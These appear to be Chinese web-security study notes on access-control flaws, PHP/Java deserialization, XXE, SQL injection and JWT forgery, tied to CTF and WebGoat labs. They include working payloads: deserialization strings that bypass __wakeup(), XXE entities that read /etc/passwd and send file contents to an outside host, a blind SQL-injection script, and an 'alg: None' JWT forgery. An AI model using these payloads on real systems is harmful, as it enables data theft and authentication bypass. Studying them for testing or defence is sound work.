WEB漏洞-逻辑越权之水平垂直越权
越权访问漏洞
原文–>here
越权访问(Broken Access Control,简称BAC) 是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。
该漏洞是指应用在检查越权时存在纰漏,使得攻击者在获得底权限用户账户后,利用一些方式绕过权限检查,访问或操作其他用户或更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问。
水平越权访问漏洞
水平越权访问是一种”基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。
垂直越权访问漏洞
垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击。
由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。
方法
若是只做了前端验证,很容易被突破。
可以通过抓包修改参数,id,cookie等关键信息尝试越权。
后端安全问题:数据库。
猜测的基本数据库:
user表(管理员和普通用户同表)
id,username,password,usertype(用户级别)
1, admin, admin, 1
2, aaa, jjjkk, 2
登录用户admin或aaa时,代码是如何验证这个级别的? (usertype判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
防范措施
- 前后端同时对用户输入信息进行校验,双重验证机制
- 调用功能前验证用户是否有权限调用相关功能
- 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
- 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
- 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
WEB漏洞-逻辑越权之登录脆弱及支付串改
WEB漏洞-逻辑越权之找回机制及接口安全
找回重置机制
客户端回显、Response状态值、验证码爆破、找回流程绕过等。
接口调用乱用
短信轰炸,来电轰炸等。
WEB漏洞-逻辑越权之验证码与Token及接口
Token
令牌,每次登录都会给不同的token,可以防爆破(基本上是可以防护的)。
验证码
WEB漏洞-反序列化之PHP&JAVA
PHP反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就可能会触发对象中的一些魔术方法。
serialize() //将对象转换为字符串
unserialize() //将字符串还原为对象
序列化后的参数表示:
下方参考文章,非常不错的一篇文章。–>here
魔术方法
构造函数和析构函数
- __construct():具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
- __destruct():析构函数会在某个对象的所有引用都被删除或者当对象被显示销毁时执行。
也就是说进行反序列化时,完成的就是从字符串创建新对象的过程,刚开始会调用__construct()
,而对象被销毁时,例如程序退出时,就会调用__destruct()
。
__sleep()和__wakeup()
__toString()
echo
或者拼接字符串或者其他隐式调用该方法的操作都会触发。
__set(), __get(), __isset(), __unset()
__invoke(), __call()
当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用。
在对象中调用一个不可访问方法时,__call()
会被调用。
序列化细节
public、protected、private下序列化对象的区别
PHP v7.x反序列化的时候对访问类别不敏感。
- public变量:直接变量名反序列化出来。
- protected变量:
\x00+ * + \x00 + 变量名
。 - private变量:
\x00 + 类名 + \x00 + 变量名
。
(这里的\x00
为ASCII码值,代表0)
反序列化中s和S的区别
如果类型是s
,会调用一些函数,这些函数会把\
解释成十六进制,来转成字符。
反序列化的利用
-
__wakeup()失效
PHP版本
<5.6.25 | < 7.0.10
。当序列化字符串中,如果表示对象属性个数的值大于真实属性的个数时就会跳过
__wakeup()
的执行。O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";} //原本的对象个数为1 O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";} //改为2,绕过__wakeup()
-
使用
+
绕过正则preg_match('/[oc]:\d+:/i', $var) O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";} O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
Session序列化问题
PHP内置了多种处理器,用于存储$_SESSION数据时对数据进行序列化和反序列化。常用的有以下三种,对应三种不同的处理格式:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数反序列化处理的值。 |
php_binary | 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值。 |
php_serialize(php>=5.5.4) | 经过serialize()函数反序列化处理的数组。 |
配置选项 session.serialize_handler ,通过该选项可以设置序列化以及反序列化时使用的处理器,int_set('session.serialize_handler', 'php_binary')
,默认为PHP。
如果PHP在反序列化获取存储的$_SEESION数据时使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。
当存储是 php_serialize 处理,然后调用PHP去处理,如果这时注入的数据为 a=|O:4:"test":0:{}
,那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
,那么 a:1:{s:1:"a";s:16:"
会被PHP解析成键名,后面就是一个test对象的注入。
JAVA反序列化
概念
我们需要保存某一时刻某个对象的信息,来进行一些操作,比如利用序列化将程序运行的对象状态以二进制形式存储到文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效实现多平台之间的通信,对象持久化存储。
序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
ysoserial工具
Java序列化常用到的工具:ysoserial
ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload。
ysoserial源码–>github地址
WEB漏洞-XXE&XML之利用检测绕过
简介
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
检测
白盒
- 函数及可控变量查找
- 传输和存储数据格式类型
黑盒
人工:
1.数据格式类型判断:<user>test</user><pass>alal</pass>
。
2.Content-Type值判断:text/xml
、application/xml
。
3.更改Content-Type值看返回值。
工具:
玩法
#读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
#内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://192.168.0.1:8081/index.txt">
]>
<x>&rabbit;</x>
#RCE
该CASE是在安装expect扩展的PHP环境执行系统命令
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
#引入外部实体dtd
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evi12.dtd">
%file;
]>
<x>&send;</x>
evi12.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">
#无回显-读文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.1:8081/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.1:8081/?data=%file;'>"
>
%payload;
#协议-读文件(绕过)
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>
小知识点:
一般的访问读取文件,我们需要输入其文件存放路径。
当我们用伪协议(如php://filter/read=convert.base64-encode/resource=xxx)时,不需要我们补全要查找文件的路径(就是当前路径),它会自动查找当前目录下我们要查找的文件,可以在我们不清楚文件路径时使用。
CTF-Vulnhub-XXE安全真题复现-检测、利用、扩展、实战
扫描IP及端口->扫描探针xxe安全->利用xxe读取源码->flag指向文件->base32,64解码->php运行->flag
<?xml version="1.0"?>
<!DOCTYPE r [
<!ELEXENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>jk</password></root>
CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
更改请求数据格式:application/xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
JAVA安全-JWT安全及预编译CASE注入等
防御sql注入
防御sql注入,其实就是session,参数绑定,存储过程这样的注入。
//利用session防御,session内容正常情况下是用户无法修改的 select * from users where user = "'" + session.getAttribute("UserID") + "'";
JDBC编程之预编译SQL与防注入
预编译参考博客—>here
SQL Injection(mitigation)
防御SQL注入,,其实就是session,参数绑定,存储过程这样的注入。
//利用session防御,session内容正常情况下是用户无法修改
//select * from users where user = "'" + session.getAttribute("UserID") + "'";
//参数绑定方式,利用了sql的预编译技术
String query = "SELECT * FROM users WHERE last_name=?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
上面说的方式也不是能够绝对的进行sql注入防御,只是减轻。
如参数绑定方式可以使用下面方式绕过:
通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。
import requests
from string import digits
chars = digits+"."
data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-
&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {
'X-Requested-with': 'XMLHttpRequest'
}
cookies = {
}
i = 0
result = ""
proxy={"http": "http://127.0.0.1:8888"}
while True:
i += 1
temp = result
for char in chars:
vul_url = "http://localhost:8080/WebGo
at/SqlInjectionMitigations/serverscolumn=case%20
when%20(select%20subatr(ip,[0],1)='[1]'%20where%20hostna
me='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
resp = requests.get(vul_url, headers=headers,
cookies=cookies, proxies=proxy)
#print(resp.json())
if 'webgoat-acc' in resp.json()[0]['hostname']:
result += char
print(result)
if temp == result:
break
什么是JWT
JSON Web Token(JSON Web令牌) 是一种跨域验证身份的方案,JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改。
JWT组成(格式)
JWT分为三部分,头部(Header)、声明(Claims)、签名(Signature),三个部分以英文句号.
隔开,JWT的内容以Base64URL进行了编码。
JWT解码后的格式:
头部(Header):
{
"alg":"HS256",
"typ":"JWT"
}
#alg
是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认)、HS512等,也可以为None,HS256表示HMAC SHA256
#typ
说明这个token的类型为JWT
声明(Claims)
{
"exp": 1416471934,
"user_name": "user",
"scope": {
"read",
"write"
},
"authorities": {
"ROLE_ADMIN",
"ROLE_USER"
},
"jti": "xxxxxxxxxxxxx"
"client_id": "xxxxxxx"
}
JWT固有参数有:
iss:发行人
exp:到期时间
sub:主题
aud:用户
hbf:在此之前不可用
iat:发布时间
jti:JWT ID用于标识该JWT
签名(Siqnature)
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
1、用户端登录,用户名和密码在请求中被发送往服务器。
2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT,此时,服务器并没有保存登录状态信息。
3、服务器将JWT(通过响应)返回给客户端。
4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中。
5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态。
6、服务器返回响应。
Javaweb-身份验证攻击-JWT修改伪造攻击
#了解JWT传输过程,验证机制
#了解JWT结构,加密解密过程及注意事项
如果有exp的话,记得改一下截止时间。
注意:
问题来了,因为JWT的声明内容变了,因此签名需要重新生成,生成签名有需要密码,我们没有密码呀!不要慌,我们直接去掉签名就好了,修改头部加密方式为None,这样最后的签名部分我们就可以为空。------>但是若服务器检测签名的话,我们就没法这样绕过了,需要得到密匙来构造签名。
在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码后通常会产生歧义,因此产生了与URL兼容的Base64 URL编码。(就是去掉编码中的=,+等特殊字符)